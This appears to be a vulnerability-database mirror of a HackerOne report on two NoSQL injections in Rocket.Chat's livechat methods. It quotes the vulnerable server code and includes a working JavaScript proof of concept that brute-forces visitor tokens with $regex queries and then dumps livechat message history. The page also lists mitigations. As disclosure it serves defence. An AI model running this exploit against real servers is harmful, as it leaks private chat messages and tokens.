Lucene search

K
hackeroneGronkeH1:2580062
HistoryJun 27, 2024 - 5:35 p.m.

Rocket.Chat: NoSQL injection leaks visitor token and livechat messages

2024-06-2717:35:30
gronke
hackerone.com
20
rocket.chat
nosql injection
livechat messages
token parameter
loadhistory method
authentication
message history

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

AI Score

7

Confidence

High

EPSS

0

Percentile

9.3%

Summary

Livechat messages can be leaked by combining two NoSQL injections affecting livechat:loginByToken (pre-authentication) and livechat:loadHistory.

Description

The token parameter of the livechat:loginByToken method is not validated and allows NoSQL injection, for instance $regex to efficiently leak existing livechat visitor token

apps/meteor/app/livechat/server/methods/loginByToken.ts#L17

Meteor.methods<ServerMethods>({
  async 'livechat:loginByToken'(token) {
    methodDeprecationLogger.method('livechat:loginByToken', '7.0.0');
    const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });

    if (!visitor) {
      return;
    }

    return {
      _id: visitor._id,
    };
  },
});

With a known visitor token, an authenticated adversary can load the message history by guessing a room ID or using another NoSQL injection in this methods rid parameter. The method requires a valid visitor token, which is known from the first step.

apps/meteor/app/livechat/server/methods/loadHistory.ts#L30

Meteor.methods<ServerMethods>({
  async 'livechat:loadHistory'({ token, rid, end, limit = 20, ls }) {
    methodDeprecationLogger.method('livechat:loadHistory', '7.0.0');

    if (!token || typeof token !== 'string') {
      return;
    }

    const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });

    if (!visitor) {
      throw new Meteor.Error('invalid-visitor', 'Invalid Visitor', {
        method: 'livechat:loadHistory',
      });
    }

    const room = await LivechatRooms.findOneByIdAndVisitorToken(rid, token, { projection: { _id: 1 } });
    if (!room) {
      throw new Meteor.Error('invalid-room', 'Invalid Room', { method: 'livechat:loadHistory' });
    }

    return loadMessageHistory({ userId: visitor._id, rid, end, limit, ls });
  },
});

Releases Affected:

Steps To Reproduce:

  1. Login to a Rocket.Chat appliance with Livechat enabled (e.g. https://open.rocket.chat)
  2. Open Web Inspector
  3. Execute Proof-of-Concept

Proof of Concept

var pool = "0123456789abcdef";
var rate_limit = 4; // requests per second

var guessVisitorToken = (knownValid, guesses) => {
  return new Promise((resolve, reject) => {
    if (!guesses.length) {
      return reject();
    }
    const guess = { "$regex": `^${knownValid}[${guesses}]` };
    console.log("Meteor.call", "livechat:loginByToken", guess);
    Meteor.call("livechat:loginByToken", guess, async (err, data) => {
      await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));
      if (err) {
        console.error(err);
        return reject(err);
      }
      if ((data instanceof Object) && data.hasOwnProperty("_id")) {
        resolve(guesses)
      } else {
        reject();
      }
    });
  });
};

var bruteforceVisitorToken = async (knownValid="") => {

  let remainingPool = pool;
  while (true) {
    await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));
    if (remainingPool.length === 0) {
      throw new Error("empty pool");
    } else if (remainingPool.length === 1) {
      await guessVisitorToken(knownValid, remainingPool);
      knownValid += remainingPool[0];
      remainingPool = pool;
      continue;
    } else {
      const middle = Math.ceil(remainingPool.length / 2);
      const left = remainingPool.slice(0, middle);
      const right = remainingPool.slice(middle);
      try {
        await guessVisitorToken(knownValid, left);
        remainingPool = left;
        continue;
      } catch(err) {}

      try {
        await guessVisitorToken(knownValid, right);
        remainingPool = right;
        continue
      } catch(err) {}
      return knownValid;
    }
  }
}

const { messages, token } = await bruteforceVisitorToken("")
  .then((token) => {
    console.log("Token leaked", token);
    return new Promise((resolve, reject) => {
      Meteor.call("livechat:loadHistory", { token, rid: { "$regex": ".*" } }, (err, messages) => {
        if (err) {
          console.log("failed to leak messages");
          return reject();
        }
        resolve({ token, messages })
      })
    });
  })
  .catch(console.error);

console.log({ token, messages });

Suggested mitigation

  • Validate token parameter oflivechat:loginByToken method to be a String.
  • Validate rid parameter of livechat:loadHistory method to be a String.

Impact

Unauthenticated attackers can leak visitor token on Rocket.Chat appliances with Livechat enabled by using a NoSQL injection in the token parameter of the livechat:loginByToken method. Combined with another NoSQL injection in the rid parameter of the livechat:loadHistory method, all Livechat messages can be leaked.

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

AI Score

7

Confidence

High

EPSS

0

Percentile

9.3%

Related for H1:2580062